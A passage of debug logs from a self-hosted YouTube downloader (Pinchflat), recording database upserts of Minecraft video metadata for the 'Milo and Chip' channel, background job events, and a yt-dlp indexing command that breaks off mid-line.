Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "We Kicked Out of the Planet!", "8ybvWyXgHek", "https://www.youtube.com/watch?v=8ybvWyXgHek", 30, 1287, false, "/downloads/rory/Milo and Chip/2026-05-04 We Kicked Out of the Planet!/We Kicked Out of the Planet! [8ybvWyXgHek].mp4", false, ~U[2026-05-04 23:00:09Z]] 19:42:17.287 [debug] QUERY OK source="sources" db=0.3ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:42:17.289 [debug] QUERY OK source="media_items" db=1.0ms idle=3.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-02 23:00:07Z], 30] 19:42:17.290 [debug] QUERY OK source="media_items" db=0.6ms idle=3.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["REVEALING Milo’s Secret True Identity! 🎭 😱 Will we find out who is really behind the mask, or is it a trap we weren't prepared for?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Who’s Hiding Behind Milo’s Mask in Minecraft?", "c009c5f0-7063-465f-b687-987aa6a22858", "77bY5u7lOGs", false, "https://www.youtube.com/watch?v=77bY5u7lOGs", 30, [], 1120, false, 17, "/downloads/rory/Milo and Chip/2026-05-02 Who’s Hiding Behind Milo’s Mask in Minecraft?/Who’s Hiding Behind Milo’s Mask in Minecraft? [77bY5u7lOGs].mp4", false, false, 98, ~U[2026-05-02 23:00:07Z], ~U[2026-06-03 23:42:17Z], ~U[2026-06-03 23:42:17Z], "REVEALING Milo’s Secret True Identity! 🎭 😱 Will we find out who is really behind the mask, or is it a trap we weren't prepared for?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Who’s Hiding Behind Milo’s Mask in Minecraft?", "77bY5u7lOGs", "https://www.youtube.com/watch?v=77bY5u7lOGs", 30, 1120, false, "/downloads/rory/Milo and Chip/2026-05-02 Who’s Hiding Behind Milo’s Mask in Minecraft?/Who’s Hiding Behind Milo’s Mask in Minecraft? [77bY5u7lOGs].mp4", false, ~U[2026-05-02 23:00:07Z]] 19:42:17.290 [debug] QUERY OK source="sources" db=0.2ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:42:17.291 [debug] QUERY OK source="media_items" db=0.9ms idle=3.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-01 23:01:06Z], 30] 19:42:17.292 [debug] QUERY OK source="media_items" db=0.6ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Building the ULTIMATE Elemental Empire! 🔥 🌊 Can we evolve our secret powers and survive the war between Fire and Water?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Players Simulate Elemental Civilization in Minecraft", "5019ca6a-f4fc-4a16-8216-518af32b9b56", "v2BpJPC_GKc", false, "https://www.youtube.com/watch?v=v2BpJPC_GKc", 30, [], 1266, false, 18, "/downloads/rory/Milo and Chip/2026-05-01 Players Simulate Elemental Civilization in Minecraft/Players Simulate Elemental Civilization in Minecraft [v2BpJPC_GKc].mp4", false, false, 98, ~U[2026-05-01 23:01:06Z], ~U[2026-06-03 23:42:17Z], ~U[2026-06-03 23:42:17Z], "Building the ULTIMATE Elemental Empire! 🔥 🌊 Can we evolve our secret powers and survive the war between Fire and Water?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Players Simulate Elemental Civilization in Minecraft", "v2BpJPC_GKc", "https://www.youtube.com/watch?v=v2BpJPC_GKc", 30, 1266, false, "/downloads/rory/Milo and Chip/2026-05-01 Players Simulate Elemental Civilization in Minecraft/Players Simulate Elemental Civilization in Minecraft [v2BpJPC_GKc].mp4", false, ~U[2026-05-01 23:01:06Z]] 19:42:17.293 [debug] QUERY OK source="sources" db=0.3ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:42:17.294 [debug] QUERY OK source="media_items" db=1.0ms idle=3.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-29 23:00:02Z], 30] 19:42:17.295 [debug] QUERY OK source="media_items" db=0.7ms idle=3.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I Caught My Friends on SPY CAMERAS! 📸 🤫 Can I pull off the ultimate sleepover pranks and find my stolen Golden Cookie?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Using CAMERAS to Prank My Friends Sleepover in Minecraft", "50545888-2d06-4f6a-b951-0d4c8bc07947", "1DuV4o4JX8c", false, "https://www.youtube.com/watch?v=1DuV4o4JX8c", 30, [], 945, false, 19, "/downloads/rory/Milo and Chip/2026-04-29 Using CAMERAS to Prank My Friends Sleepover in Minecraft/Using CAMERAS to Prank My Friends Sleepover in Minecraft [1DuV4o4JX8c].mp4", false, false, 98, ~U[2026-04-29 23:00:02Z], ~U[2026-06-03 23:42:17Z], ~U[2026-06-03 23:42:17Z], "I Caught My Friends on SPY CAMERAS! 📸 🤫 Can I pull off the ultimate sleepover pranks and find my stolen Golden Cookie?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Using CAMERAS to Prank My Friends Sleepover in Minecraft", "1DuV4o4JX8c", "https://www.youtube.com/watch?v=1DuV4o4JX8c", 30, 945, false, "/downloads/rory/Milo and Chip/2026-04-29 Using CAMERAS to Prank My Friends Sleepover in Minecraft/Using CAMERAS to Prank My Friends Sleepover in Minecraft [1DuV4o4JX8c].mp4", false, ~U[2026-04-29 23:00:02Z]] 19:42:17.295 [debug] QUERY OK source="sources" db=0.2ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:42:17.297 [debug] QUERY OK source="media_items" db=0.9ms idle=3.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-25 23:00:04Z], 30] 19:42:17.298 [debug] QUERY OK source="media_items" db=0.6ms idle=3.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["POLICE vs MILITARY: Ultimate Base Defense! 👮 🎖️ Will our custom tanks and siren blasters be enough to stop the Mutant Creeper?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "POLICE vs MILITARY: Survival Battle in Minecraft", "cd6d2039-d160-4ffe-98f1-669e45301994", "1To5x_fzNZs", false, "https://www.youtube.com/watch?v=1To5x_fzNZs", 30, [], 908, false, 20, "/downloads/rory/Milo and Chip/2026-04-25 POLICE vs MILITARY: Survival Battle in Minecraft/POLICE vs MILITARY: Survival Battle in Minecraft [1To5x_fzNZs].mp4", false, false, 98, ~U[2026-04-25 23:00:04Z], ~U[2026-06-03 23:42:17Z], ~U[2026-06-03 23:42:17Z], "POLICE vs MILITARY: Ultimate Base Defense! 👮 🎖️ Will our custom tanks and siren blasters be enough to stop the Mutant Creeper?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "POLICE vs MILITARY: Survival Battle in Minecraft", "1To5x_fzNZs", "https://www.youtube.com/watch?v=1To5x_fzNZs", 30, 908, false, "/downloads/rory/Milo and Chip/2026-04-25 POLICE vs MILITARY: Survival Battle in Minecraft/POLICE vs MILITARY: Survival Battle in Minecraft [1To5x_fzNZs].mp4", false, ~U[2026-04-25 23:00:04Z]] 19:42:17.298 [debug] QUERY OK source="sources" db=0.3ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:42:17.299 [debug] QUERY OK source="media_items" db=0.9ms idle=3.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-24 23:00:02Z], 30] 19:42:17.300 [debug] QUERY OK source="media_items" db=0.7ms idle=3.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Surviving a MASSIVE Wave of Falling Food! 🍔 🌊 Can our secret glass bunker withstand the ultimate food tsunami?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "FOOD TSUNAMI vs DOOMSDAY Glass Bunker in Minecraft", "6643781f-6fee-4087-91aa-fc9adc079e02", "22o08dvxn3A", false, "https://www.youtube.com/watch?v=22o08dvxn3A", 30, [], 1178, false, 21, "/downloads/rory/Milo and Chip/2026-04-24 FOOD TSUNAMI vs DOOMSDAY Glass Bunker in Minecraft/FOOD TSUNAMI vs DOOMSDAY Glass Bunker in Minecraft [22o08dvxn3A].mp4", false, false, 98, ~U[2026-04-24 23:00:02Z], ~U[2026-06-03 23:42:17Z], ~U[2026-06-03 23:42:17Z], "Surviving a MASSIVE Wave of Falling Food! 🍔 🌊 Can our secret glass bunker withstand the ultimate food tsunami?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "FOOD TSUNAMI vs DOOMSDAY Glass Bunker in Minecraft", "22o08dvxn3A", "https://www.youtube.com/watch?v=22o08dvxn3A", 30, 1178, false, "/downloads/rory/Milo and Chip/2026-04-24 FOOD TSUNAMI vs DOOMSDAY Glass Bunker in Minecraft/FOOD TSUNAMI vs DOOMSDAY Glass Bunker in Minecraft [22o08dvxn3A].mp4", false, ~U[2026-04-24 23:00:02Z]] 19:42:17.301 [debug] QUERY OK source="sources" db=0.2ms idle=3.9ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-06-03 23:42:17Z], ~U[2026-06-03 23:42:17Z], 30] 19:42:17.302 [debug] QUERY OK source="media_items" db=1.0ms idle=3.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 19:42:17.304 [debug] QUERY OK source="media_items" db=1.0ms idle=3.5ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [30] 19:42:17.304 [debug] QUERY OK source="media_items" db=0.2ms idle=3.6ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [30] 19:42:17.304 [info] No notification servers provided for source 30 19:42:17.305 [debug] QUERY OK source="tasks" db=0.1ms idle=2.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [7280, 30, ~U[2026-06-03 23:42:17Z], ~U[2026-06-03 23:42:17Z]] 19:42:17.306 [info] {"args":{"id":30},"id":7263,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":82669845,"event":"job:stop","queue_time":14416,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 19:42:32.851 [info] {"source":"oban","duration":2251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:43:00.126 [info] {"source":"oban","duration":147,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:43:02.854 [info] {"source":"oban","duration":2082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:43:32.857 [info] {"source":"oban","duration":1846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:43:37.960 [info] {"args":{"id":31},"id":7270,"meta":{},"system_time":1780530217960610367,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 19:43:37.962 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1261.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 19:43:37.963 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1262.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:37.968 [debug] QUERY OK source="media_items" db=4.1ms idle=1014.4ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [31] 19:43:37.969 [debug] QUERY OK source="media_items" db=0.9ms idle=15.2ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [31] 19:43:37.970 [debug] QUERY OK source="media_profiles" db=0.4ms idle=9.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:43:37.971 [debug] QUERY OK source="settings" db=0.4ms idle=9.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:37.972 [debug] QUERY OK source="settings" db=0.3ms idle=8.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:37.979 [debug] QUERY OK source="media_items" db=4.9ms idle=5.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [31] 19:43:37.983 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 19:43:37.984 [debug] Current batch of media processed. Will check again in 1000ms 19:43:37.984 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=14.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:37.985 [debug] QUERY OK source="settings" db=0.5ms idle=14.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:37.985 [debug] QUERY OK source="settings" db=0.1ms idle=13.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:43:37.986 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@mongo-mc --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/rory/Mongo/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/42/b2/42b2125009bad6250b126fc40919564c1c76510dd3d23acd33119843544838e1.txt --print-to-file 